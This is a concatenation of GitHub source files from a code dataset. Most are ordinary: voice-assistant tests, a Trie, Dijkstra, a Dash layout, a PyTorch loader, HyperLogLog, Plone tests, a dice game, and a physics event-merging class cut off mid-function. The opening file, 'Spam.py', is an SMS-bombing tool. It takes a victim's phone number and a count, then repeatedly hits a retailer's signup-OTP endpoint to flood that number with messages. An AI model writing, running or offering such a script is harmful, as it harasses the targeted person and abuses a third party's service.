jhy\n ===================\n '''\n \n print(banner)\n no = input('masukan no target : ')\n jum = input('jumlah sms : ')\n \n head = {\n \"User-Agent\": \"Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Mobile Safari/537.36\",\n \"Referer\": \"https://www.mapclub.com/en/user/signup\",\n \"Host\": \"cmsapi.mapclub.com\",\n }\n \n \n dat = {\n 'phone': no\n }\n \n \n for x in range(int(jum)):\n leosureo = requests.post(\"https://cmsapi.mapclub.com/api/signup-otp\", headers=head, json=dat)\n if 'error' in leosureo:\n print('gagal mengirim pesan')\n else:\n print(' berhasil mengirim ke no '+ no)\n\nmain()","repo_name":"harlan12/spam","sub_path":"Spam.py","file_name":"Spam.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29035284987","text":"import alice.tests.library.directives as directives\nimport alice.tests.library.intent as intent\nimport alice.tests.library.surface as surface\nimport pytest\n\n\nclass PointCategory:\n CRUSH = 0\n ROADWORKS = 1\n CAMERA = 2\n\n\n@pytest.mark.parametrize('surface', [surface.automotive])\nclass TestPalmAddPoint(object):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-1591\n https://testpalm.yandex-team.ru/testcase/alice-1592\n https://testpalm.yandex-team.ru/testcase/alice-1593\n \"\"\"\n\n owners = ('yagafarov')\n\n def _assert_response(self, response, utterance, category):\n assert response.directive.name == directives.names.OpenUriDirective\n assert response.directive.payload.uri.startswith(f'yandexnavi://add_point?category={category}')\n assert utterance.lower() in response.text.lower()\n\n @pytest.mark.parametrize('command', [\n 'авария',\n 'дтп',\n 'столкновение',\n 'автомобиль сломался',\n 'дорогу не поделили',\n 'притерлись',\n 'догнал',\n 'стукнулись',\n 'вошли в клинч',\n 'заварушка',\n 'на аварийке, влетел',\n ])\n @pytest.mark.parametrize('row', ['в левом', 'в правом', 'в среднем'])\n def test_alice_1591(self, alice, command, row):\n response = alice(command)\n assert response.intent == intent.AddPoint\n assert 'ряд' in response.text.lower()\n\n response = alice(row)\n self._assert_response(response, 'дтп', PointCategory.CRUSH)\n\n response = alice(f'впереди авария {row} ряду')\n self._assert_response(response, 'дтп', PointCategory.CRUSH)\n\n @pytest.mark.parametrize('command', [\n 'Дорожные работы',\n 'ремонт дороги',\n 'ремонт моста',\n 'ремонтные работы',\n 'перекопано',\n 'перекопали',\n 'реконструкция',\n 'раскопки',\n 'разрыли',\n 'золото ищут',\n 'роют',\n 'копают',\n 'нефть ищут',\n 'искромсали дорогу',\n ])\n @pytest.mark.parametrize('row', ['в левом', 'в правом', 'в среднем'])\n def test_alice_1592(self, alice, command, row):\n response = alice(command)\n assert response.intent == intent.AddPoint\n assert 'ряд' in response.text.lower()\n\n response = alice(row)\n self._assert_response(response, 'дорожные работы', PointCategory.ROADWORKS)\n\n response = alice(f'впереди дорожные работы {row} ряду')\n self._assert_response(response, 'дорожные работы', PointCategory.ROADWORKS)\n\n @pytest.mark.parametrize('command', [\n 'камера',\n 'камера в левом ряду',\n 'дпс',\n 'гаи',\n 'менты',\n 'гайцы',\n 'гаишники',\n 'депсы',\n 'тринога',\n 'радар',\n 'мент',\n 'копы',\n 'засада',\n 'ловят',\n 'экипаж',\n 'облава',\n 'гибдд',\n 'караулят',\n 'полиция',\n 'фотографируют',\n 'светят',\n 'светимся',\n ])\n def test_alice_1593(self, alice, command):\n response = alice(command)\n self._assert_response(response, 'камера', PointCategory.CAMERA)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Voice Assistant tests/tests/integration_tests/automotive/testpalm_add_point.py","file_name":"testpalm_add_point.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18129118545","text":"class Trie(object):\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.nodes = []\n\n def insert(self, word):\n \"\"\"\n Inserts a word into the trie.\n :type word: str\n :rtype: None\n \"\"\"\n if self.nodes:\n cur_node = self.nodes[0]\n else:\n self.nodes.append({})\n cur_node = self.nodes[0]\n\n for i in word:\n if i not in cur_node:\n cur_node[i] = len(self.nodes)\n self.nodes.append({})\n idx = cur_node[i]\n cur_node = self.nodes[cur_node[i]]\n\n # print(self.nodes)\n print(\"idx= \",idx)\n cur_node[idx] = idx\n\n # self.nodes[-1] = {len(self.nodes)-1:len(self.nodes)-1}\n\n print(self.nodes)\n\n def search(self, word):\n \"\"\"\n Returns if the word is in the trie.\n :type word: str\n :rtype: bool\n \"\"\"\n if not self.nodes:\n return False\n else:\n cur_node = self.nodes[0]\n for i in word:\n if i not in cur_node:\n return False\n else:\n idx = cur_node[i]\n cur_node = self.nodes[cur_node[i]]\n\n if idx in cur_node:\n return True\n else:\n return False\n\n def startsWith(self, prefix):\n \"\"\"\n Returns if there is any word in the trie that starts with the given prefix.\n :type prefix: str\n :rtype: bool\n \"\"\"\n if not self.nodes:\n return False\n else:\n cur_node = self.nodes[0]\n for i in prefix:\n if i not in cur_node:\n return False\n else:\n cur_node = self.nodes[cur_node[i]]\n return True\n\n\n# Your Trie object will be instantiated and called as such:\n# obj = Trie()\n# obj.insert(word)\n# param_2 = obj.search(word)\n# param_3 = obj.startsWith(prefix)\n\ntrie = Trie()\ntrie.insert(\"app\")\nprint(trie.search(\"apple\"))\nprint(trie.search(\"app\"))\nprint(trie.startsWith(\"app\"))\ntrie.insert(\"apple\")\nprint(trie.search(\"app\"))\ntrie.insert(\"beer\")","repo_name":"TOOFACK/DailyCodingPy","sub_path":"LeetCode/208. Implement Trie (Prefix Tree).py","file_name":"208. Implement Trie (Prefix Tree).py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2967094944","text":"import dash_bootstrap_components as dbc\nfrom dash import dash_table, dcc, html\nfrom callbacks.constants import Constants\n\n\nlayout = html.Div(\n id={\n 'type': 'analysis-layout',\n 'label': Constants.LABEL_TEXT_MINING\n },\n hidden=True,\n children=[\n\n html.Div([\n html.P(\n [\n Constants.INTRO_TEXT_MINING,\n ' Click ',\n dcc.Link(\n ['here ', html.I(\n id='demo-link',\n className='fa-solid fa-up-right-from-square fa-2xs'\n )],\n href='https://github.com/bioinfodlsu/rice-pilaf/wiki/2.2-Gene-retrieval-by-text-mining',\n target='_blank',\n className='top-navbar-item'\n ),\n ' for the user guide.'\n ]\n\n ),\n ], className='analysis-intro p-3'),\n\n html.Br(),\n\n html.Div([\n html.I(className='bi bi-chevron-bar-right me-2 non-clickable'),\n html.Span(id='text-mining-genomic-intervals-input'),\n ], className='analysis-intro p-3'),\n\n html.Br(),\n\n html.Div([\n dbc.Label('Enter your query trait/phenotype', className='mb-2'),\n\n dbc.Alert(\n id='text-mining-input-error',\n color='danger',\n style={'display': 'none'}\n ),\n dbc.Input(\n id='text-mining-query',\n type='text',\n value='',\n debounce=True,\n n_submit=0\n ),\n\n html.Div([html.Span('Examples:', className='pe-3'),\n html.Span('pre-harvest sprouting',\n id={'type': 'example-text-mining',\n 'description': 'pre-harvest sprouting'},\n className='sample-genomic-interval',\n n_clicks=0),\n html.Span(',', className='sample-genomic-interval'),\n html.Span('anaerobic germination',\n id={'type': 'example-text-mining',\n 'description': 'anaerobic germination'},\n className='sample-genomic-interval ms-3',\n n_clicks=0)],\n className='pt-3'),\n html.Br(),\n\n dbc.Button('Search',\n id='text-mining-submit',\n className='page-button',\n n_clicks=0),\n ], className='analysis-intro p-3'),\n\n html.Br(),\n\n html.Div(\n id='text-mining-results-container',\n style={'display': 'none'},\n children=[\n html.Hr(className='mt-3 mb-4'),\n dcc.Loading([\n html.Div([\n html.Span(id='text-mining-results-stats')\n ], className='mb-3 stats'),\n\n html.P(\n html.Div([\n dbc.Button([html.I(\n className='bi bi-download me-2'),\n 'Export to CSV'],\n id='text-mining-export-table',\n n_clicks=0,\n color='light', size='sm', className='table-button'),\n dcc.Download(\n id='text-mining-download-df-to-csv'),\n dbc.Button([html.I(\n className='bi bi-arrow-clockwise me-2'),\n 'Reset Table'],\n id='text-mining-reset-table',\n color='light', size='sm', className='ms-3 table-button')\n ], style={'textAlign': 'right'})\n ),\n\n dash_table.DataTable(\n id='text-mining-results-table',\n style_data={\n 'whiteSpace': 'normal',\n 'height': 'auto',\n 'textAlign': 'left'\n },\n markdown_options={'html': True},\n sort_action='native',\n filter_action='native',\n filter_options={'case': 'insensitive',\n 'placeholder_text': '🔎︎ Search Column'},\n page_action='native',\n page_size=10,\n cell_selectable=False,\n style_table={'overflowX': 'auto'}\n )\n ])\n ], className='mt-2')\n ], className='mt-2 mb-4'\n)\n","repo_name":"bioinfodlsu/rice-pilaf","sub_path":"pages/analysis/text_mining.py","file_name":"text_mining.py","file_ext":"py","file_size_in_byte":4930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13956882651","text":"\r\nfrom heapq import *\r\n\r\ndef dijkstra(g,n,src,dest,path):\r\n d = [-1] * n \r\n p = [None] * n\r\n d[src] = 0\r\n p[src] = [src,0]\r\n q = [(0, src)]\r\n while (q):\r\n v = heappop(q)[1]\r\n for i in g[v]:\r\n u = i[0]\r\n w = i[1]\r\n if d[u] == -1 or d[u] > d[v] + w:\r\n d[u] = d[v] + w\r\n p[u] = [v,w]\r\n heappush(q, (d[u], u))\r\n \r\n dist = d[dest]\r\n if dist != -1:\r\n v = dest\r\n while v != src:\r\n path.append([[p[v][0],v], p[v][1]])\r\n v = p[v][0]\r\n path.reverse()\r\n return dist\r\n \r\n\r\nn = 5\r\ng = [[] for _ in range (0, n)]\r\n\r\ng[0].append([1,2])\r\ng[1].append([0,2])\r\n\r\ng[0].append([2,2])\r\ng[2].append([0,2])\r\n\r\ng[0].append([3,7])\r\ng[3].append([0,7])\r\n\r\ng[1].append([2,1])\r\ng[2].append([1,1])\r\n\r\ng[1].append([3,3])\r\ng[3].append([1,3])\r\n\r\ng[1].append([4,3])\r\ng[4].append([1,3])\r\n\r\ng[2].append([4,1])\r\ng[4].append([2,1])\r\n\r\nsrc,dest = 3, 0\r\npath = []\r\ndist = dijkstra(g,n,src,dest,path)\r\nif dist == -1:\r\n print('there is no any path from %d to %d' %(src + 1, dest + 1))\r\nelse:\r\n print('shortest path from %d to %d has a total weight %d and consists of %d edges:\\n' %(src + 1, dest + 1, dist, len(path)) )\r\n for i in path :\r\n print('%d %d %d'%(i[0][0] + 1, i[0][1] + 1, i[1]))\r\n\r\n","repo_name":"azhusubaliev/discrete2project5","sub_path":"gui/temAlgorithm.py","file_name":"temAlgorithm.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13230160317","text":"\"\"\"\nAuthor: Talip Ucar\nEmail: ucabtuc@gmail.com\nVersion: 0.1\nDescription: A library for data loaders.\n\"\"\"\n\nimport os\nimport cv2\nfrom skimage import io\n\nimport numpy as np\nimport pandas as pd\nimport datatable as dt\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\n\n\nclass Loader(object):\n \"\"\"\n Author: Talip Ucar\n Email: ucabtuc@gmail.com\n \"\"\"\n\n def __init__(self, config, dataset_name, eval_mode=False, kwargs={}):\n \"\"\"\n :param dict config: Configuration dictionary.\n :param str dataset_name: Name of the dataset to use.\n :param bool eval_mode: Whether the dataset is used for evaluation. False by default.\n :param dict kwargs: Additional parameters if needed.\n \"\"\"\n # Get batch size\n batch_size = config[\"batch_size\"]\n # Get config\n self.config = config\n # Set main results directory using database name. \n paths = config[\"paths\"]\n # data > dataset_name\n file_path = os.path.join(paths[\"data\"], dataset_name)\n # Get the datasets\n train_dataset, test_dataset = self.get_dataset(dataset_name, file_path, eval_mode=eval_mode)\n # Set the loader for training set\n self.train_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True, drop_last=True, **kwargs)\n # Set the loader for test set\n self.test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False, drop_last=True, **kwargs)\n\n def get_dataset(self, dataset_name, file_path, eval_mode=False):\n # Create dictionary for loading functions of datasets.\n # If you add a new dataset, add its corresponding dataset class here in the form 'dataset_name': ClassName\n loader_map = {'default_loader': TabularDataset}\n # Get dataset. Check if the dataset has a custom class. If not, then assume a tabular data with labels in the first column\n dataset = loader_map[dataset_name] if dataset_name in loader_map.keys() else loader_map['default_loader']\n # Transformation for training dataset. If we are evaluating the model, use ToTensorNormalize.\n train_transform = ToTensorNormalize()\n # Training and Validation datasets\n train_dataset = dataset(self.config, datadir=file_path, dataset_name=dataset_name, mode='train',\n transform=train_transform)\n # Test dataset\n test_dataset = dataset(self.config, datadir=file_path, dataset_name=dataset_name, mode='test')\n # Return\n return train_dataset, test_dataset\n\n\nclass ToTensorNormalize(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n # Assumes that min-max scaling is done when pre-processing the data (i.e. not here)\n return torch.from_numpy(sample).float()\n\n\nclass TabularDataset(Dataset):\n def __init__(self, config, datadir, dataset_name, mode='train', transform=ToTensorNormalize()):\n \"\"\"\n Expects two csv files with _tr and _te suffixes for training and test datasets.\n Example: dataset_name_tr.csv, dataset_name_te.csv\n \"\"\"\n self.config = config\n self.datadir = datadir\n self.dataset_name = dataset_name\n self.mode = mode\n self.data, self.labels = self._load_data()\n self.transform = transform\n\n # If self-supervised, divide the labeled data set to labeled and unlabeled subsets.\n if config[\"framework\"] == \"semi-supervised\":\n self.generate_labeled_unlabeled_samples()\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n sample = self.data[idx]\n cluster = self.labels[idx]\n\n if self.transform:\n # transform the tensor\n sample = self.transform(sample)\n\n return {'tensor': sample, 'binary_label': int(cluster)}\n\n def _load_data(self):\n # Get the file name, ignoring suffix e.g. 'test_dataset' from 'test_dataset_tr.csv'\n file = self.dataset_name\n # Add suffix depending on whehter you want training set, or test\n file += \"_tr.csv\" if self.mode == 'train' else \"_te.csv\"\n # Load dataset\n data = dt.fread(os.path.join(self.datadir, file)).to_pandas()\n # Get data as numpy array\n data = data.values\n # Extract labels - assumes they are in the first column\n labels = data[:, 0]\n # Check the lowest label number (whether it is 0 or 1). And make sure that it is 0.\n labels = np.abs(labels - 1) if np.min(labels) == 1 else np.abs(labels)\n # Return features, and labels\n return data[:, 1:], labels.astype(int)\n\n def generate_labeled_unlabeled_samples(self):\n\n self.n_classes = len(list(set(self.labels)))\n self.n_extra_classes = 1\n self.n_labeled_data = int(self.config[\"percentage_of_labeled_data\"] * self.data.shape[0])\n indices = np.arange(0, self.data.shape[0])\n np.random.shuffle(indices)\n\n indices_u, indices_l = [], []\n counts = [0] * self.n_classes\n\n # If \"percentage_of_labeled_data\" < 1, get equal number of labeled data\n nsamples_per_class = [int(self.n_labeled_data // self.n_classes)] * self.n_classes\n\n # Get the exact number of labeled data if \"percentage_of_labeled_data\" == 1\n if self.config[\"percentage_of_labeled_data\"] == 1.0:\n list_of_uqniue_labels = list(set(self.labels))\n for l in list_of_uqniue_labels:\n nsamples_per_class[l] = sum(self.labels == l)\n\n for idx in indices:\n label = self.labels[idx]\n if counts[label] < nsamples_per_class[label]:\n counts[label] += 1\n indices_l.append(idx)\n continue\n indices_u.append(idx)\n\n # To avoid re-factoring the code :), add one data point for unlabeled data\n # when we are using all labeled data\n if self.config[\"percentage_of_labeled_data\"] == 1.0: indices_u.append(0)\n\n self.indices_l = np.asarray(indices_l)\n self.indices_u = np.asarray(indices_u)\n\n # Random shuffle the arrays\n for arr in [self.indices_l, self.indices_u]: np.random.shuffle(arr)\n # Separate labelled data and unlabelled features\n data_l = self.data[self.indices_l, :]\n data_u = self.data[self.indices_u, :]\n # Separate labelled data and unlabelled labels, and assigned all unlabelled ones to unique number (i.e. =ymax+1==n_cohort)\n labels_l = self.labels[self.indices_l]\n labels_u = np.asarray([self.config[\"n_cohorts\"]] * len(self.indices_u))\n # Combined labelled and unlabelled data\n self.data = np.concatenate((data_l, data_u), axis=0)\n self.labels = np.concatenate((labels_l.reshape(-1, 1), labels_u.reshape(-1, 1)), axis=0)\n # Shuffle the data using previously shuffled indices (no need to reshuffle)\n self.data = self.data[indices, :]\n self.labels = self.labels[indices, :]\n","repo_name":"talipucar/DomainAdaptation","sub_path":"utils/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":7027,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"70724432083","text":"'''\n不同编程范式根本区别,就是对状态(state)的处理。全局状态(global state)\n过程式编程(procedural programming)\n函数式编程(functional programming)\n面向对象编程(object-oriented) 类(class)\n前面已经讨论过前两种了,本部分主要讨论面向对象编程。\n'''\nclass Orange:\n def __init__(self,w,c): #下划线包围的方法,被称为魔法方法(magic method),即Python用于创建对象等特殊用途的方法\n '''\n 重量的单位是盎司\n '''\n\n self.weight=w\n self.color=c\n self.mold=0\n print('Created!')\n\n def rot(self,days,temp):\n self.mold=days*temp \n#创建新对象的过程,被称为创建类的实例\nor1=Orange(10,'dark orange')\nprint(or1)\nprint(or1.color)\n\n#修改创建好的对象的参数\nor1.weight=100\nor1.color='light orange'\nprint(or1.color)\nprint(or1.weight)\n\n\n#创建多个对象\nor1=Orange(4,'light orange')\nor2=Orange(8,'dark orange')\nor3=Orange(14,'yellow')\n\n\n\n#给对象添加腐烂属性以及处理该属性的方法(method)\nor4=Orange(6,'orange')\nprint(or4.mold)\nor4.rot(10,98)\nprint(or4.mold)\n\n\n\n\n\n#定义一个关于长方形的类\nclass Rectangle():\n def __init__(self,w,l):\n self.width=w\n self.len=l\n\n def area(self):\n return self.width*self.len\n\n def change_size(self,w,l):\n self.width=w\n self.len=l\n\nrectangle=Rectangle(10,20)\nprint(rectangle.area())\nrectangle.change_size(20,40)\nprint(rectangle.area())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"cjx1996/vscode_Pythoncode","sub_path":"Study python without teacher/202003142paradigm.py","file_name":"202003142paradigm.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35270769471","text":"\"\"\"\n@author: Michael Kaspera\n\"\"\"\nimport numpy as np\n\nclass HyperLogLogCounter():\n '''\n classdocs\n '''\n __correction_constants__ = {16: 0.673, 32: 0.697, 64: 0.709}\n\n def __init__(self, p, hash_size):\n \"\"\"\n @param p:\n @param __hash_size__: the number of bits in the hash\n \"\"\"\n self.__hash_size__ = hash_size\n assert p >= 4 and p <= 16\n self.register_shifts = hash_size - p\n '''mask to cover up the first p bits'''\n self.mask = pow(2, self.register_shifts) - 1\n self.p = p\n self.number_registers = pow(2, self.p)\n self.registers = [0] * self.number_registers\n \n def putHashedValue(self, value):\n \"\"\"\n @param value: the (hashed) value to insert into the data structure\n \"\"\"\n register_num = value >> self.register_shifts\n leftover_val = int(value & self.mask)\n '''to +1 here or not to +1'''\n rho = 1 + self.register_shifts - leftover_val.bit_length()\n self.registers[register_num] = max(self.registers[register_num], rho)\n \n def putHashedValues(self, values):\n \"\"\"\n @param values: a list of hash values to put into the data structure\n inputs the values into the data structure\n \"\"\"\n if isinstance(values[0], np.int64):\n print(\"isintance\")\n tmp = []\n for value in values:\n tmp.append(np.asscalar(value))\n values = tmp\n for value in values:\n self.putHashedValue(value)\n \n def getEstDistElems(self):\n \"\"\"\n @return: estimates the number of distinct elements in the data structure\n \"\"\"\n harm_mean = 0\n for rho in self.registers:\n harm_mean += pow(2, -rho)\n harm_mean = 1.0 / harm_mean\n correction_const = self.__correction_constants__[self.number_registers] if self.number_registers \\\n in self.__correction_constants__ else __getCorrectionFunc__(self.number_registers)\n estimate = correction_const * self.number_registers * self.number_registers * harm_mean\n '''correcting for too large/small values'''\n if estimate < 2.5 * self.number_registers:\n print(\"low estimate\")\n num_empty_bins = self.registers.count(0)\n estimate = self.number_registers * np.log(self.number_registers/num_empty_bins)\n elif estimate > 1/30 * pow(2, self.__hash_size__):\n print(\"high estimate\")\n estimate = -pow(2, self.__hash_size__) * np.log(1 - estimate/pow(2, self.__hash_size__))\n return estimate\n\n \ndef __getCorrectionFunc__(number):\n \"\"\"\n @param number: value for p for which the correction number should be determined\n \"\"\"\n return 0.7213 / (1.0 + 1.079 / number)\n \n \n","repo_name":"L1nc0ln/hashing_algo_bda_test","sub_path":"masters-thesis/code/com/haw_landshut/s_mkaspe/thesis/main/HyperLogLogCounter.py","file_name":"HyperLogLogCounter.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70780831441","text":"# -*- coding: utf-8 -*-\nfrom gaipa.backend.content.crop import ICrop # NOQA E501\nfrom gaipa.backend.testing import GAIPA_BACKEND_INTEGRATION_TESTING # noqa\nfrom plone import api\nfrom plone.api.exc import InvalidParameterError\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom zope.component import createObject\nfrom zope.component import queryUtility\n\nimport unittest\n\n\ntry:\n from plone.dexterity.schema import portalTypeToSchemaName\nexcept ImportError:\n # Plone < 5\n from plone.dexterity.utils import portalTypeToSchemaName\n\n\nclass CropIntegrationTest(unittest.TestCase):\n\n layer = GAIPA_BACKEND_INTEGRATION_TESTING\n\n def setUp(self):\n \"\"\"Custom shared utility setup for tests.\"\"\"\n self.portal = self.layer['portal']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n portal_types = self.portal.portal_types\n parent_id = portal_types.constructContent(\n 'CropContainer',\n self.portal,\n 'crop',\n title='Parent container',\n )\n self.parent = self.portal[parent_id]\n\n def test_ct_crop_schema(self):\n fti = queryUtility(IDexterityFTI, name='Crop')\n schema = fti.lookupSchema()\n schema_name = portalTypeToSchemaName('Crop')\n self.assertEqual(schema_name, schema.getName())\n\n def test_ct_crop_fti(self):\n fti = queryUtility(IDexterityFTI, name='Crop')\n self.assertTrue(fti)\n\n def test_ct_crop_factory(self):\n fti = queryUtility(IDexterityFTI, name='Crop')\n factory = fti.factory\n obj = createObject(factory)\n\n self.assertTrue(\n ICrop.providedBy(obj),\n u'ICrop not provided by {0}!'.format(\n obj,\n ),\n )\n\n def test_ct_crop_adding(self):\n setRoles(self.portal, TEST_USER_ID, ['Contributor'])\n obj = api.content.create(\n container=self.parent,\n type='Crop',\n id='crop',\n )\n\n self.assertTrue(\n ICrop.providedBy(obj),\n u'ICrop not provided by {0}!'.format(\n obj.id,\n ),\n )\n\n def test_ct_crop_globally_not_addable(self):\n setRoles(self.portal, TEST_USER_ID, ['Contributor'])\n fti = queryUtility(IDexterityFTI, name='Crop')\n self.assertFalse(\n fti.global_allow,\n u'{0} is globally addable!'.format(fti.id)\n )\n\n def test_ct_crop_filter_content_type_true(self):\n setRoles(self.portal, TEST_USER_ID, ['Contributor'])\n fti = queryUtility(IDexterityFTI, name='Crop')\n portal_types = self.portal.portal_types\n parent_id = portal_types.constructContent(\n fti.id,\n self.portal,\n 'crop_id',\n title='Crop container',\n )\n self.parent = self.portal[parent_id]\n with self.assertRaises(InvalidParameterError):\n api.content.create(\n container=self.parent,\n type='Document',\n title='My Content',\n )\n","repo_name":"prototypefund/gaipa-gaipa.backend","sub_path":"src/gaipa/backend/tests/test_ct_crop.py","file_name":"test_ct_crop.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41698174773","text":"\"\"\"\n\"\"\"\nimport score\nimport click\nimport numpy as np\nimport itertools as it\n\nfrom hotdice import NUMBER_OF_DICE, NUMBER_OF_FACES, MIN_REPEAT_MULTIPLES\n\ndef roll_dice(n=NUMBER_OF_DICE):\n \"Roll n dice\"\n return tuple(np.random.randint(1, 7, n))\n\ndef play(game, player):\n \"\"\"\n A main loop that plays a single game of hotdice with a single player\n \"\"\"\n \n # roll get the first roll\n roll = roll_dice()\n \n while player.total_score < game.winning_score:\n # get the players scores for this roll\n scores = score.scores(roll)\n \n if len(scores) == 0:\n player.bust()\n roll = roll_dice()\n continue\n \n # ask the player to select their score\n score_selection = player.score_choice(game, scores)\n \n # the player chooses whether to roll again\n if player.roll_again(game):\n # the player has hot dice\n if player.round_remaining_dice == 0:\n # roll all the dice\n roll = roll_dice()\n else:\n roll = roll_dice(player.round_remaining_dice)\n \n else:\n # the player has decided to stop, so they get to keep their round score\n player.save_round_score()\n \n return player\n\ndef human_play():\n \"\"\"\n A main loop that can be run for a single human player to play a single round\n \"\"\"\n total_score = 0\n round_score = 0\n roll = roll_dice()\n while True:\n scores = score.scores(roll)\n \n if len(scores) == 0:\n print(\"\\n\\nBust!\")\n print(\"Next round\\n\")\n round_score = 0\n roll = roll_dice()\n continue\n \n # makes it nicer to read for humans\n scores['Remaining'] = scores.apply(lambda x: len(x.Remaining), axis=1)\n scores.drop(columns=['Type'], inplace=True)\n \n print(scores)\n score_index = int(click.prompt('Which score do you want to take?', \n type=click.Choice(scores.index.astype(str)), default=0))\n \n selected_roll = scores.loc[scores.index == score_index]\n selected_score = int(selected_roll.Score)\n round_score += int(selected_roll.Score)\n remaining_die = int(selected_roll.Remaining)\n \n print(f\"Added {selected_score} points.\\nScore: {round_score}\")\n roll_again = click.prompt(f'Do you want to roll again? ({remaining_die if remaining_die != 0 else NUMBER_OF_DICE} dice)', \n type=click.Choice(['Y', 'n']), default='Y')\n \n if roll_again is 'Y':\n if remaining_die == 0:\n roll = roll_dice()\n else:\n roll = roll_dice(remaining_die)\n else:\n total_score += round_score \n print(f\"Adding {round_score} to your total score.\\nTotal now: {total_score}\")\n print(\"Next round\\n\")\n round_score = 0\n \n print(f\"Total Score: {total_score}\")\n \nif __name__ == '__main__':\n human_play()","repo_name":"cnrmck/hotdice","sub_path":".backup/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42472768410","text":"import pandas as pd\nfrom sklearn.utils import shuffle\n\nmaliciousDF = pd.read_csv(\"malicious.csv\", names=['code'], header=None, error_bad_lines=False)\nmaliciousDF['status']='1'\nbenignDF = pd.read_csv(\"benign.csv\", names=['code'], header=None, error_bad_lines=False)\nbenignDF['status']='0'\n\ndata = maliciousDF.append(benignDF, ignore_index=True)\n\ndata = shuffle(data)\n\n\nprint(data)\n\ndata.to_csv('combine.csv', index=False)\n\n","repo_name":"KayUOM/Project","sub_path":"code/backup/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3892411817","text":"import os, subprocess, time, tarfile\nfrom AthenaCommon import Logging\nfrom PowhegControl.utility import HeartbeatTimer\n\n## Base class for configurable objects in the jobOptions\n#\n# All subprocesses inherit from this class\nclass ProphecyPowhegMerge(object) :\n ## Set up run directory and path to Prophecy\n __run_directory = os.environ['PATH']\n\n ## Setup athena-compatible logger\n __logger = Logging.logging.getLogger('ProphecyPowhegMerger')\n\n ## This must be defined by each derived class - don't change it in the jobOptions!\n _merger_executable = 'mergeProphecy4f.exe'\n\n def __init__( self, runArgs=None, opts=None ) :\n\n ## This needs to be set so that Generate_trf finds an appropriate file format for showering\n self.__output_events_file_name = 'ProphecyPowhegMergedOTF._1.events'\n\n \n ## Using default output names from PowhegConfig_base and ProphecyConfig\n self.__input_powheg_file_name = 'PowhegOTF._1.events'\n self.__input_prophecy4e_file_name = 'ProphecyOTF4e._1.events'\n self.__input_prophecy4mu_file_name = 'ProphecyOTF4mu._1.events'\n self.__input_prophecy2e2mu_file_name = 'ProphecyOTF2e2mu._1.events'\n self.__random_seed = 0\n \n ## Initialise values from runArgs\n if runArgs is None :\n self.logger.warning( 'No run arguments found! Using defaults.' )\n else :\n # Read values from runArgs\n # Set inputGeneratorFile to match output events file. Otherwise Generate_trf check will fail.\n runArgs.inputGeneratorFile = self.output_events_file_name\n\n ## Initialise runcard with generic options\n def merge(self) :\n\n self.logger.info( 'Starting ProphecyPowhegMerger merge' )\n\n powhegLHE = self.input_powheg_file_name\n prophecyLHE4e = self.input_prophecy4e_file_name\n prophecyLHE4mu = self.input_prophecy4mu_file_name\n prophecyLHE2e2mu = self.input_prophecy2e2mu_file_name\n random_seed = str(self.random_seed)\n\n myinputfiles = powhegLHE\n genInputFiles = myinputfiles.split(',')\n numberOfFiles = len(genInputFiles)\n # if there is a single file, make a symlink. If multiple files, merge them into one output eventsFile\n if numberOfFiles > 0:\n allFiles = []\n for file in genInputFiles:\n file_1 = file\n # untar as needed\n if tarfile.is_tarfile(file):\n tar = tarfile.open(file)\n tar.extractall()\n tar.close()\n file_1 = file.replace(\"tar.gz.1\",\"events\")\n self.logger.info( 'Extracted tar file, and renaming {0} to {1}'.format ( file, file_1 ) )\n pass\n \n # The only input format where merging is permitted is LHE\n with open(file_1, 'r') as f:\n first_line = f.readline()\n self.logger.info( 'first_line {0}'.format ( first_line ) )\n if(not (\"LesHouche\" in first_line)):\n raise RuntimeError(\"%s is NOT a LesHouche file\" % file)\n allFiles.append(file_1)\n powhegLHE_input = \"merged_powheg_events.lhe\"\n self.merge_lhe_files(allFiles, powhegLHE_input)\n \n ## Initialise timer\n time_start = time.time()\n 